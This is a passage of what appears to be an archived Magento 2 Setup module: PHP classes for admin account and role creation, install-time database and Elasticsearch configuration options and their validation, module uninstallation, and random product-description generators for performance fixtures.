'email' => $this->data[self::KEY_EMAIL]] ); } catch (\Exception $e) { return; // New installation, no need to validate existing users. } $email = $result['email']; $username = $result['username']; if ((strcasecmp($email, $this->data[self::KEY_EMAIL]) == 0) && (strcasecmp($username, $this->data[self::KEY_USER]) != 0)) { // email matched but username did not throw new \Exception( 'An existing user has the given email but different username. ' . 'Username and email both need to match an existing user or both be new.' ); } if ((strcasecmp($username, $this->data[self::KEY_USER]) == 0) && (strcasecmp($email, $this->data[self::KEY_EMAIL]) != 0)) { // username matched but email did not throw new \Exception( 'An existing user has the given username but different email. ' . 'Username and email both need to match an existing user or both be new.' ); } } /** * Creates the admin user role if one does not exist. * * Do nothing if a role already exists for this user * * @param int $adminId User id of administrator to set role for * @return void */ private function saveAdminUserRole($adminId) { $result = $this->connection->fetchRow( 'SELECT * FROM ' . $this->getTableName('authorization_role') . ' ' . 'WHERE user_id = :user_id AND user_type = :user_type', ['user_id' => $adminId, 'user_type' => UserContextInterface::USER_TYPE_ADMIN] ); if (empty($result)) { // No user role exists for this user id, create it $adminRoleData = [ 'parent_id' => $this->retrieveAdministratorsRoleId(), 'tree_level' => 2, 'role_type' => User::ROLE_TYPE, 'user_id' => $adminId, 'user_type' => UserContextInterface::USER_TYPE_ADMIN, 'role_name' => $this->data[self::KEY_USER], ]; $this->connection->insert($this->getTableName('authorization_role'), $adminRoleData); } } /** * Gets the "Administrators" role id, the special role created by data fixture in Authorization module. * * @return int The id of the Administrators role * @throws \Exception If Administrators role not found or problem connecting with database. */ private function retrieveAdministratorsRoleId() { // Get Administrators role id to use as parent_id $administratorsRoleData = [ 'parent_id' => 0, 'tree_level' => 1, 'role_type' => Group::ROLE_TYPE, 'user_id' => 0, 'user_type' => UserContextInterface::USER_TYPE_ADMIN, 'role_name' => 'Administrators', ]; $result = $this->connection->fetchRow( 'SELECT * FROM ' . $this->getTableName('authorization_role') . ' ' . 'WHERE parent_id = :parent_id AND tree_level = :tree_level AND role_type = :role_type AND ' . 'user_id = :user_id AND user_type = :user_type AND role_name = :role_name', $administratorsRoleData ); if (empty($result)) { throw new \Exception('No Administrators role was found, data fixture needs to be run'); } else { // Found at least one, use first return $result['role_id']; } } /** * Take table with prefix without loading modules * * @param string $table * @return string */ private function getTableName($table) { if (!empty($this->data[self::KEY_PREFIX])) { return $this->connection->getTableName($this->data[self::KEY_PREFIX] . $table); } return $this->connection->getTableName($table); } } Magento/Setup/Model/ConfigOptionsList.php000077700000035227151323623130014443 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Model; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Framework\Encryption\KeyValidator; use Magento\Framework\Setup\ConfigOptionsListInterface; use Magento\Framework\Setup\Option\FlagConfigOption; use Magento\Framework\Setup\Option\TextConfigOption; use Magento\Setup\Model\ConfigOptionsList\DriverOptions; use Magento\Setup\Validator\DbValidator; /** * Deployment configuration options needed for Setup application * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class ConfigOptionsList implements ConfigOptionsListInterface { /** * Generate config data for individual segments * * @var ConfigGenerator */ private $configGenerator; /** * @var \Magento\Setup\Validator\DbValidator */ private $dbValidator; /** * @var array */ private $configOptionsCollection = []; /** * @var KeyValidator */ private $encryptionKeyValidator; /** * @var array */ private $configOptionsListClasses = [ \Magento\Setup\Model\ConfigOptionsList\Session::class, \Magento\Setup\Model\ConfigOptionsList\Cache::class, \Magento\Setup\Model\ConfigOptionsList\PageCache::class, \Magento\Setup\Model\ConfigOptionsList\Lock::class, \Magento\Setup\Model\ConfigOptionsList\Directory::class, ]; /** * @var DriverOptions */ private $driverOptions; /** * Constructor * * @param ConfigGenerator $configGenerator * @param DbValidator $dbValidator * @param KeyValidator|null $encryptionKeyValidator * @param DriverOptions|null $driverOptions */ public function __construct( ConfigGenerator $configGenerator, DbValidator $dbValidator, KeyValidator $encryptionKeyValidator = null, DriverOptions $driverOptions = null ) { $this->configGenerator = $configGenerator; $this->dbValidator = $dbValidator; $objectManager = \Magento\Framework\App\ObjectManager::getInstance(); foreach ($this->configOptionsListClasses as $className) { $this->configOptionsCollection[] = $objectManager->get($className); } $this->encryptionKeyValidator = $encryptionKeyValidator ?: $objectManager->get(KeyValidator::class); $this->driverOptions = $driverOptions ?? $objectManager->get(DriverOptions::class); } /** * @inheritdoc * @SuppressWarnings(PHPMD.ExcessiveMethodLength) */ public function getOptions() { $options = [ new TextConfigOption( ConfigOptionsListConstants::INPUT_KEY_ENCRYPTION_KEY, TextConfigOption::FRONTEND_WIZARD_TEXT, ConfigOptionsListConstants::CONFIG_PATH_CRYPT_KEY, 'Encryption key' ), new TextConfigOption( ConfigOptionsListConstants::INPUT_KEY_DB_HOST, TextConfigOption::FRONTEND_WIZARD_TEXT, ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_HOST, 'Database server host', 'localhost' ), new TextConfigOption( ConfigOptionsListConstants::INPUT_KEY_DB_NAME, TextConfigOption::FRONTEND_WIZARD_TEXT, ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_NAME, 'Database name', 'magento2' ), new TextConfigOption( ConfigOptionsListConstants::INPUT_KEY_DB_USER, TextConfigOption::FRONTEND_WIZARD_TEXT, ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_USER, 'Database server username', 'root' ), new TextConfigOption( ConfigOptionsListConstants::INPUT_KEY_DB_ENGINE, TextConfigOption::FRONTEND_WIZARD_TEXT, ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_ENGINE, 'Database server engine', 'innodb' ), new TextConfigOption( ConfigOptionsListConstants::INPUT_KEY_DB_PASSWORD, TextConfigOption::FRONTEND_WIZARD_PASSWORD, ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_PASSWORD, 'Database server password', '' ), new TextConfigOption( ConfigOptionsListConstants::INPUT_KEY_DB_PREFIX, TextConfigOption::FRONTEND_WIZARD_TEXT, ConfigOptionsListConstants::CONFIG_PATH_DB_PREFIX, 'Database table prefix', '' ), new TextConfigOption( ConfigOptionsListConstants::INPUT_KEY_DB_MODEL, TextConfigOption::FRONTEND_WIZARD_TEXT, ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_MODEL, 'Database type', 'mysql4' ), new TextConfigOption( ConfigOptionsListConstants::INPUT_KEY_DB_INIT_STATEMENTS, TextConfigOption::FRONTEND_WIZARD_TEXT, ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_INIT_STATEMENTS, 'Database initial set of commands', 'SET NAMES utf8;' ), new FlagConfigOption( ConfigOptionsListConstants::INPUT_KEY_SKIP_DB_VALIDATION, '', 'If specified, then db connection validation will be skipped', '-s' ), new TextConfigOption( ConfigOptionsListConstants::INPUT_KEY_CACHE_HOSTS, TextConfigOption::FRONTEND_WIZARD_TEXT, ConfigOptionsListConstants::CONFIG_PATH_CACHE_HOSTS, 'http Cache hosts' ), new TextConfigOption( ConfigOptionsListConstants::INPUT_KEY_DB_SSL_KEY, TextConfigOption::FRONTEND_WIZARD_TEXT, ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT_DRIVER_OPTIONS . '/' . ConfigOptionsListConstants::KEY_MYSQL_SSL_KEY, 'Full path of client key file in order to establish db connection through SSL', '' ), new TextConfigOption( ConfigOptionsListConstants::INPUT_KEY_DB_SSL_CERT, TextConfigOption::FRONTEND_WIZARD_TEXT, ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT_DRIVER_OPTIONS . '/' . ConfigOptionsListConstants::KEY_MYSQL_SSL_CERT, 'Full path of client certificate file in order to establish db connection through SSL', '' ), new TextConfigOption( ConfigOptionsListConstants::INPUT_KEY_DB_SSL_CA, TextConfigOption::FRONTEND_WIZARD_TEXT, ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT_DRIVER_OPTIONS . '/' . ConfigOptionsListConstants::KEY_MYSQL_SSL_CA, 'Full path of server certificate file in order to establish db connection through SSL', '' ), new FlagConfigOption( ConfigOptionsListConstants::INPUT_KEY_DB_SSL_VERIFY, ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT_DRIVER_OPTIONS . '/' . ConfigOptionsListConstants::KEY_MYSQL_SSL_VERIFY, 'Verify server certification' ), ]; $options = [$options]; foreach ($this->configOptionsCollection as $configOptionsList) { $options[] = $configOptionsList->getOptions(); } return array_merge([], ...$options); } /** * @inheritdoc */ public function createConfig(array $data, DeploymentConfig $deploymentConfig) { $configData = []; $configData[] = $this->configGenerator->createCryptConfig($data, $deploymentConfig); $definitionConfig = $this->configGenerator->createDefinitionsConfig($data); if (isset($definitionConfig)) { $configData[] = $definitionConfig; } $configData[] = $this->configGenerator->createDbConfig($data); $configData[] = $this->configGenerator->createResourceConfig(); $configData[] = $this->configGenerator->createXFrameConfig(); $configData[] = $this->configGenerator->createModeConfig(); $configData[] = $this->configGenerator->createCacheHostsConfig($data); foreach ($this->configOptionsCollection as $configOptionsList) { $configData[] = $configOptionsList->createConfig($data, $deploymentConfig); } return $configData; } /** * @inheritdoc */ public function validate(array $options, DeploymentConfig $deploymentConfig) { $errors = []; if (isset($options[ConfigOptionsListConstants::INPUT_KEY_CACHE_HOSTS])) { $errors[] = $this->validateHttpCacheHosts($options[ConfigOptionsListConstants::INPUT_KEY_CACHE_HOSTS]); } if (isset($options[ConfigOptionsListConstants::INPUT_KEY_DB_PREFIX])) { $errors[] = $this->validateDbPrefix($options[ConfigOptionsListConstants::INPUT_KEY_DB_PREFIX]); } if (!$options[ConfigOptionsListConstants::INPUT_KEY_SKIP_DB_VALIDATION]) { $errors[] = $this->validateDbSettings($options, $deploymentConfig); } foreach ($this->configOptionsCollection as $configOptionsList) { $errors[] = $configOptionsList->validate($options, $deploymentConfig); } $errors[] = $this->validateEncryptionKey($options); return array_merge([], ...$errors); } /** * Returns other parts of existing db config in case is only one value is presented by user * * @param array $options * @param DeploymentConfig $deploymentConfig * * @return array */ private function getDbSettings(array $options, DeploymentConfig $deploymentConfig) { if ($options[ConfigOptionsListConstants::INPUT_KEY_DB_NAME] === null) { $options[ConfigOptionsListConstants::INPUT_KEY_DB_NAME] = $deploymentConfig->get( ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_NAME ); } if ($options[ConfigOptionsListConstants::INPUT_KEY_DB_HOST] === null) { $options[ConfigOptionsListConstants::INPUT_KEY_DB_HOST] = $deploymentConfig->get( ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_HOST ); } if ($options[ConfigOptionsListConstants::INPUT_KEY_DB_USER] === null) { $options[ConfigOptionsListConstants::INPUT_KEY_DB_USER] = $deploymentConfig->get( ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_USER ); } if ($options[ConfigOptionsListConstants::INPUT_KEY_DB_PASSWORD] === null) { $options[ConfigOptionsListConstants::INPUT_KEY_DB_PASSWORD] = $deploymentConfig->get( ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_PASSWORD ); } return $options; } /** * Validates encryption key param * * @param array $options * @return string[] */ private function validateEncryptionKey(array $options) { $errors = []; if (isset($options[ConfigOptionsListConstants::INPUT_KEY_ENCRYPTION_KEY]) && !$this->encryptionKeyValidator->isValid($options[ConfigOptionsListConstants::INPUT_KEY_ENCRYPTION_KEY]) ) { $errors[] = 'Invalid encryption key. Encryption key must be 32 character string without any white space.'; } return $errors; } /** * Validate http cache hosts * * @param string $option * @return string[] */ private function validateHttpCacheHosts($option) { $errors = []; if (!preg_match('/^[\-\w:,.]+$/', $option) ) { $errors[] = "Invalid http cache hosts '{$option}'"; } return $errors; } /** * Validate Db table prefix * * @param string $option * @return string[] */ private function validateDbPrefix($option) { $errors = []; try { $this->dbValidator->checkDatabaseTablePrefix($option); } catch (\InvalidArgumentException $exception) { $errors[] = $exception->getMessage(); } return $errors; } /** * Validate Db settings * * @param array $options * @param DeploymentConfig $deploymentConfig * @return string[] */ private function validateDbSettings(array $options, DeploymentConfig $deploymentConfig) { $errors = []; if ($options[ConfigOptionsListConstants::INPUT_KEY_DB_NAME] !== null || $options[ConfigOptionsListConstants::INPUT_KEY_DB_HOST] !== null || $options[ConfigOptionsListConstants::INPUT_KEY_DB_USER] !== null || $options[ConfigOptionsListConstants::INPUT_KEY_DB_PASSWORD] !== null ) { try { $options = $this->getDbSettings($options, $deploymentConfig); $driverOptions = $this->driverOptions->getDriverOptions($options); $this->dbValidator->checkDatabaseConnectionWithDriverOptions( $options[ConfigOptionsListConstants::INPUT_KEY_DB_NAME], $options[ConfigOptionsListConstants::INPUT_KEY_DB_HOST], $options[ConfigOptionsListConstants::INPUT_KEY_DB_USER], $options[ConfigOptionsListConstants::INPUT_KEY_DB_PASSWORD], $driverOptions ); } catch (\Exception $exception) { $errors[] = $exception->getMessage(); } } return $errors; } } Magento/Setup/Model/BasePackageInfo.php000077700000004274151323623130013766 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\FileSystem\Directory\ReadFactory; /** * Information about the Magento base package. * */ class BasePackageInfo { const MAGENTO_BASE_PACKAGE_COMPOSER_JSON_FILE = 'magento/magento2-base/composer.json'; const COMPOSER_KEY_EXTRA = 'extra'; const COMPOSER_KEY_MAP = 'map'; /** * @var \Magento\Framework\Filesystem\Directory\ReadInterface $reader */ private $reader; /** * Constructor * * @param ReadFactory $readFactory */ public function __construct(ReadFactory $readFactory) { $this->reader = $readFactory->create(BP); } /** * Get the list of files and directory paths from magento-base extra/map section. * * @return string [] * @throws \Magento\Setup\Exception */ public function getPaths() { // Locate composer.json for magento2-base module $filesPathList = []; $vendorDir = require VENDOR_PATH; $basePackageComposerFilePath = $vendorDir . '/' . self::MAGENTO_BASE_PACKAGE_COMPOSER_JSON_FILE; if (!$this->reader->isExist($basePackageComposerFilePath)) { throw new \Magento\Setup\Exception( 'Could not locate ' . self::MAGENTO_BASE_PACKAGE_COMPOSER_JSON_FILE . ' file.' ); } if (!$this->reader->isReadable($basePackageComposerFilePath)) { throw new \Magento\Setup\Exception( 'Could not read ' . self::MAGENTO_BASE_PACKAGE_COMPOSER_JSON_FILE . ' file.' ); } // Fill array with list of files and directories from extra/map section $composerJsonFileData = json_decode($this->reader->readFile($basePackageComposerFilePath), true); if (!isset($composerJsonFileData[self::COMPOSER_KEY_EXTRA][self::COMPOSER_KEY_MAP])) { return $filesPathList; } $extraMappings = $composerJsonFileData[self::COMPOSER_KEY_EXTRA][self::COMPOSER_KEY_MAP]; foreach ($extraMappings as $map) { $filesPathList[] = $map[1]; } return $filesPathList; } } Magento/Setup/Model/ThemeDependencyCheckerFactory.php000077700000001637151323623130016702 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Theme\Model\Theme\ThemeDependencyChecker; /** * Class ThemeDependencyCheckerFactory creates instance of ThemeDependencyChecker */ class ThemeDependencyCheckerFactory { /** * @var ObjectManagerProvider */ private $objectManagerProvider; /** * Constructor * * @param ObjectManagerProvider $objectManagerProvider */ public function __construct(ObjectManagerProvider $objectManagerProvider) { $this->objectManagerProvider = $objectManagerProvider; } /** * Creates ThemeDependencyChecker object * * @return ThemeDependencyChecker */ public function create() { return $this->objectManagerProvider->get()->get(\Magento\Theme\Model\Theme\ThemeDependencyChecker::class); } } Magento/Setup/Model/SearchTermDescriptionGeneratorFactory.php000077700000015323151323623130020461 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\ObjectManagerInterface; use Magento\Setup\Fixtures\FixtureConfig; use Magento\Setup\Model\Description\DescriptionSentenceGeneratorFactory; use Magento\Setup\Model\Description\DescriptionParagraphGeneratorFactory; use Magento\Setup\Model\Description\DescriptionGeneratorFactory; use Magento\Setup\Model\DictionaryFactory; use Magento\Setup\Model\SearchTermManagerFactory; /** * Search term description generator factory * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class SearchTermDescriptionGeneratorFactory { /** * @var \Magento\Framework\ObjectManagerInterface */ private $objectManager; /** * @var \Magento\Setup\Fixtures\FixtureConfig */ private $fixtureConfig; /** * @var \Magento\Setup\Model\Description\DescriptionSentenceGeneratorFactory */ private $sentenceGeneratorFactory; /** * @var \Magento\Setup\Model\Description\DescriptionParagraphGeneratorFactory */ private $paragraphGeneratorFactory; /** * @var \Magento\Setup\Model\Description\DescriptionGeneratorFactory */ private $descriptionGeneratorFactory; /** * @var \Magento\Setup\Model\DictionaryFactory */ private $dictionaryFactory; /** * @var \Magento\Setup\Model\SearchTermManagerFactory */ private $searchTermManagerFactory; /** * Constructor * * @param ObjectManagerInterface $objectManager * @param FixtureConfig $fixtureConfig * @param DescriptionSentenceGeneratorFactory|null $descriptionSentenceGeneratorFactory * @param DescriptionParagraphGeneratorFactory|null $descriptionParagraphGeneratorFactory * @param DescriptionGeneratorFactory|null $descriptionGeneratorFactory * @param DictionaryFactory|null $dictionaryFactory * @param SearchTermManagerFactory|null $searchTermManagerFactory */ public function __construct( ObjectManagerInterface $objectManager, FixtureConfig $fixtureConfig, DescriptionSentenceGeneratorFactory $descriptionSentenceGeneratorFactory = null, DescriptionParagraphGeneratorFactory $descriptionParagraphGeneratorFactory = null, DescriptionGeneratorFactory $descriptionGeneratorFactory = null, DictionaryFactory $dictionaryFactory = null, SearchTermManagerFactory $searchTermManagerFactory = null ) { $this->objectManager = $objectManager; $this->fixtureConfig = $fixtureConfig; $this->sentenceGeneratorFactory = $descriptionSentenceGeneratorFactory ?: $objectManager->get(DescriptionSentenceGeneratorFactory::class); $this->paragraphGeneratorFactory = $descriptionParagraphGeneratorFactory ?: $objectManager->get(DescriptionParagraphGeneratorFactory::class); $this->descriptionGeneratorFactory = $descriptionGeneratorFactory ?: $objectManager->get(DescriptionGeneratorFactory::class); $this->dictionaryFactory = $dictionaryFactory ?: $objectManager->get(DictionaryFactory::class); $this->searchTermManagerFactory = $searchTermManagerFactory ?: $objectManager->get(SearchTermManagerFactory::class); } /** * Search term description factory * * @param array|null $descriptionConfig * @param array|null $searchTermsConfig * @param int $totalProductsCount * @param string $defaultDescription * @return DescriptionGeneratorInterface */ public function create( $descriptionConfig, $searchTermsConfig, $totalProductsCount, $defaultDescription = '' ) { $this->updateSearchTermConfig($searchTermsConfig); if (empty($descriptionConfig) || empty($searchTermsConfig)) { return $this->objectManager->create( DefaultDescriptionGenerator::class, ['defaultDescription' => $defaultDescription] ); } return $this->objectManager->create(\Magento\Setup\Model\SearchTermDescriptionGenerator::class, [ 'descriptionGenerator' => $this->buildDescriptionGenerator($descriptionConfig), 'searchTermManager' => $this->buildSearchTermManager($searchTermsConfig, $totalProductsCount) ]); } /** * Update search terms distribution to be almost the same per each website * * @param array|null $searchTermsConfig * @SuppressWarnings(PHPMD.UnusedLocalVariable) * @return void */ private function updateSearchTermConfig(&$searchTermsConfig) { if (null !== $searchTermsConfig) { $websitesCount = (bool)$this->fixtureConfig->getValue('assign_entities_to_all_websites', false) ? 1 : (int)$this->fixtureConfig->getValue('websites', 1); array_walk( $searchTermsConfig, function (&$searchTerm, $key, $websitesCount) { $searchTerm['count'] *= $websitesCount; }, $websitesCount ); } } /** * Builder for DescriptionGenerator * * @param array $descriptionConfig * @return \Magento\Setup\Model\Description\DescriptionGenerator */ private function buildDescriptionGenerator(array $descriptionConfig) { $sentenceGenerator = $this->sentenceGeneratorFactory->create([ 'dictionary' => $this->dictionaryFactory->create([ 'dictionaryFilePath' => realpath(__DIR__ . '/../Fixtures/_files/dictionary.csv') ]), 'sentenceConfig' => $descriptionConfig['paragraphs']['sentences'] ]); $paragraphGenerator = $this->paragraphGeneratorFactory->create([ 'sentenceGenerator' => $sentenceGenerator, 'paragraphConfig' => $descriptionConfig['paragraphs'] ]); $descriptionGenerator = $this->descriptionGeneratorFactory->create([ 'paragraphGenerator' => $paragraphGenerator, 'mixinManager' => $this->objectManager->create(\Magento\Setup\Model\Description\MixinManager::class), 'descriptionConfig' => $descriptionConfig ]); return $descriptionGenerator; } /** * Builder for SearchTermManager * * @param array $searchTermsConfig * @param int $totalProductsCount * @return \Magento\Setup\Model\SearchTermManager */ private function buildSearchTermManager(array $searchTermsConfig, $totalProductsCount) { return $this->searchTermManagerFactory->create( [ 'searchTerms' => $searchTermsConfig, 'totalProductsCount' => $totalProductsCount ] ); } } Magento/Setup/Model/SearchConfigOptionsList.php000077700000007065151323623130015570 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Model; use Magento\Framework\Setup\Option\AbstractConfigOption; use Magento\Framework\Setup\Option\SelectConfigOption; use Magento\Framework\Setup\Option\TextConfigOption; /** * Search engine configuration options for install */ class SearchConfigOptionsList { /** * Input key for the options */ const INPUT_KEY_SEARCH_ENGINE = 'search-engine'; const INPUT_KEY_ELASTICSEARCH_HOST = 'elasticsearch-host'; const INPUT_KEY_ELASTICSEARCH_PORT = 'elasticsearch-port'; const INPUT_KEY_ELASTICSEARCH_ENABLE_AUTH = 'elasticsearch-enable-auth'; const INPUT_KEY_ELASTICSEARCH_USERNAME = 'elasticsearch-username'; const INPUT_KEY_ELASTICSEARCH_PASSWORD = 'elasticsearch-password'; const INPUT_KEY_ELASTICSEARCH_INDEX_PREFIX = 'elasticsearch-index-prefix'; const INPUT_KEY_ELASTICSEARCH_TIMEOUT = 'elasticsearch-timeout'; /** * Get options list for search engine configuration * * @return AbstractConfigOption[] */ public function getOptionsList(): array { return [ new SelectConfigOption( self::INPUT_KEY_SEARCH_ENGINE, SelectConfigOption::FRONTEND_WIZARD_SELECT, array_keys($this->getAvailableSearchEngineList()), '', 'Search engine. Values: ' . implode(', ', array_keys($this->getAvailableSearchEngineList())) ), new TextConfigOption( self::INPUT_KEY_ELASTICSEARCH_HOST, TextConfigOption::FRONTEND_WIZARD_TEXT, '', 'Elasticsearch server host.' ), new TextConfigOption( self::INPUT_KEY_ELASTICSEARCH_PORT, TextConfigOption::FRONTEND_WIZARD_TEXT, '', 'Elasticsearch server port.' ), new TextConfigOption( self::INPUT_KEY_ELASTICSEARCH_ENABLE_AUTH, TextConfigOption::FRONTEND_WIZARD_TEXT, '', 'Set to 1 to enable authentication. (default is 0, disabled)' ), new TextConfigOption( self::INPUT_KEY_ELASTICSEARCH_USERNAME, TextConfigOption::FRONTEND_WIZARD_TEXT, '', 'Elasticsearch username. Only applicable if HTTP auth is enabled' ), new TextConfigOption( self::INPUT_KEY_ELASTICSEARCH_PASSWORD, TextConfigOption::FRONTEND_WIZARD_PASSWORD, '', 'Elasticsearch password. Only applicable if HTTP auth is enabled' ), new TextConfigOption( self::INPUT_KEY_ELASTICSEARCH_INDEX_PREFIX, TextConfigOption::FRONTEND_WIZARD_TEXT, '', 'Elasticsearch index prefix.' ), new TextConfigOption( self::INPUT_KEY_ELASTICSEARCH_TIMEOUT, TextConfigOption::FRONTEND_WIZARD_TEXT, '', 'Elasticsearch server timeout.' ) ]; } /** * Get UI friendly list of available search engines * * @return array */ public function getAvailableSearchEngineList(): array { return [ 'elasticsearch5' => 'Elasticsearch 5.x (deprecated)', 'elasticsearch6' => 'Elasticsearch 6.x', 'elasticsearch7' => 'Elasticsearch 7.x' ]; } } Magento/Setup/Model/ModuleRegistryUninstaller.php000077700000005772151323623130016227 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Module\ModuleList\Loader; use Magento\Setup\Module\DataSetupFactory; use Symfony\Component\Console\Output\OutputInterface; /** * Used to uninstall registry from the database and deployment config */ class ModuleRegistryUninstaller { /** * @var DataSetupFactory */ private $dataSetupFactory; /** * @var DeploymentConfig */ private $deploymentConfig; /** * @var DeploymentConfig\Writer */ private $writer; /** * @var Loader */ private $loader; /** * Constructor * * @param DataSetupFactory $dataSetupFactory * @param DeploymentConfig $deploymentConfig * @param DeploymentConfig\Writer $writer * @param Loader $loader */ public function __construct( DataSetupFactory $dataSetupFactory, DeploymentConfig $deploymentConfig, DeploymentConfig\Writer $writer, Loader $loader ) { $this->dataSetupFactory = $dataSetupFactory; $this->deploymentConfig = $deploymentConfig; $this->writer = $writer; $this->loader = $loader; } /** * Removes module from setup_module table * * @param OutputInterface $output * @param string[] $modules * @return void */ public function removeModulesFromDb(OutputInterface $output, array $modules) { $output->writeln( '<info>Removing ' . implode(', ', $modules) . ' from module registry in database</info>' ); /** @var \Magento\Framework\Setup\ModuleDataSetupInterface $setup */ $setup = $this->dataSetupFactory->create(); foreach ($modules as $module) { $setup->deleteTableRow('setup_module', 'module', $module); } } /** * Removes module from deployment configuration * * @param OutputInterface $output * @param string[] $modules * @return void */ public function removeModulesFromDeploymentConfig(OutputInterface $output, array $modules) { $output->writeln( '<info>Removing ' . implode(', ', $modules) . ' from module list in deployment configuration</info>' ); $configuredModules = $this->deploymentConfig->getConfigData( \Magento\Framework\Config\ConfigOptionsListConstants::KEY_MODULES ); $existingModules = $this->loader->load($modules); $newModules = []; foreach (array_keys($existingModules) as $module) { $newModules[$module] = isset($configuredModules[$module]) ? $configuredModules[$module] : 0; } $this->writer->saveConfig( [ \Magento\Framework\Config\File\ConfigFilePool::APP_CONFIG => [\Magento\Framework\Config\ConfigOptionsListConstants::KEY_MODULES => $newModules] ], true ); } } Magento/Setup/Model/Description/DescriptionSentenceGenerator.php000077700000002402151323623130021115 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description; /** * Generate random sentence for description based on configuration */ class DescriptionSentenceGenerator { /** * @var \Magento\Setup\Model\Dictionary */ private $dictionary; /** * @var array */ private $sentenceConfig; /** * @param \Magento\Setup\Model\Dictionary $dictionary * @param array $sentenceConfig */ public function __construct( \Magento\Setup\Model\Dictionary $dictionary, array $sentenceConfig ) { $this->dictionary = $dictionary; $this->sentenceConfig = $sentenceConfig; } /** * Generate sentence for description * * @return string */ public function generate() { $sentenceWordsCount = mt_rand( $this->sentenceConfig['words']['count-min'], $this->sentenceConfig['words']['count-max'] ); $sentence = ''; while ($sentenceWordsCount) { $sentence .= $this->dictionary->getRandWord(); $sentence .= ' '; $sentenceWordsCount--; } return ucfirst(rtrim($sentence)) . '.'; } } Magento/Setup/Model/Description/MixinManager.php000077700000001706151323623130015663 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description; /** * Apply mixin to description */ class MixinManager { /** * @var \Magento\Setup\Model\Description\Mixin\MixinFactory */ private $mixinFactory; /** * @param \Magento\Setup\Model\Description\Mixin\MixinFactory $mixinFactory */ public function __construct(\Magento\Setup\Model\Description\Mixin\MixinFactory $mixinFactory) { $this->mixinFactory = $mixinFactory; } /** * Apply list of mixin to description * * @param string $description * @param array $mixinList * @return mixed */ public function apply($description, array $mixinList) { foreach ($mixinList as $mixinType) { $description = $this->mixinFactory->create($mixinType)->apply($description); } return $description; } } Magento/Setup/Model/Description/DescriptionParagraphGenerator.php000077700000002640151323623130021262 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description; /** * Generate random paragraph for description based on configuration */ class DescriptionParagraphGenerator { /** * @var \Magento\Setup\Model\Description\DescriptionSentenceGenerator */ private $sentenceGenerator; /** * @var array */ private $paragraphConfig; /** * @param \Magento\Setup\Model\Description\DescriptionSentenceGenerator $sentenceGenerator * @param array $paragraphConfig */ public function __construct( \Magento\Setup\Model\Description\DescriptionSentenceGenerator $sentenceGenerator, array $paragraphConfig ) { $this->sentenceGenerator = $sentenceGenerator; $this->paragraphConfig = $paragraphConfig; } /** * Generate paragraph for description * * @return string */ public function generate() { $sentencesCount = mt_rand( $this->paragraphConfig['sentences']['count-min'], $this->paragraphConfig['sentences']['count-max'] ); $sentences = ''; while ($sentencesCount) { $sentences .= $this->sentenceGenerator->generate(); $sentences .= ' '; $sentencesCount--; } $sentences = rtrim($sentences); return $sentences; } } Magento/Setup/Model/Description/Mixin/MixinFactory.php000077700000004106151323623130017001 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description\Mixin; /** * Create mixin instance based on type */ class MixinFactory { /**#@+ * Constants for existing mixin types */ const SPAN_MIXIN = 'span'; const BOLD_MIXIN = 'b'; const BRAKE_MIXIN = 'br'; const PARAGRAPH_MIXIN = 'p'; const HEADER_MIXIN = 'h1'; const ITALIC_MIXIN = 'i'; /**#@-*/ /** * @var array */ private $typeClassMap = [ self::SPAN_MIXIN => SpanMixin::class, self::BOLD_MIXIN => BoldMixin::class, self::BRAKE_MIXIN => BrakeMixin::class, self::PARAGRAPH_MIXIN => ParagraphMixin::class, self::HEADER_MIXIN => HeaderMixin::class, self::ITALIC_MIXIN => ItalicMixin::class, ]; /** * 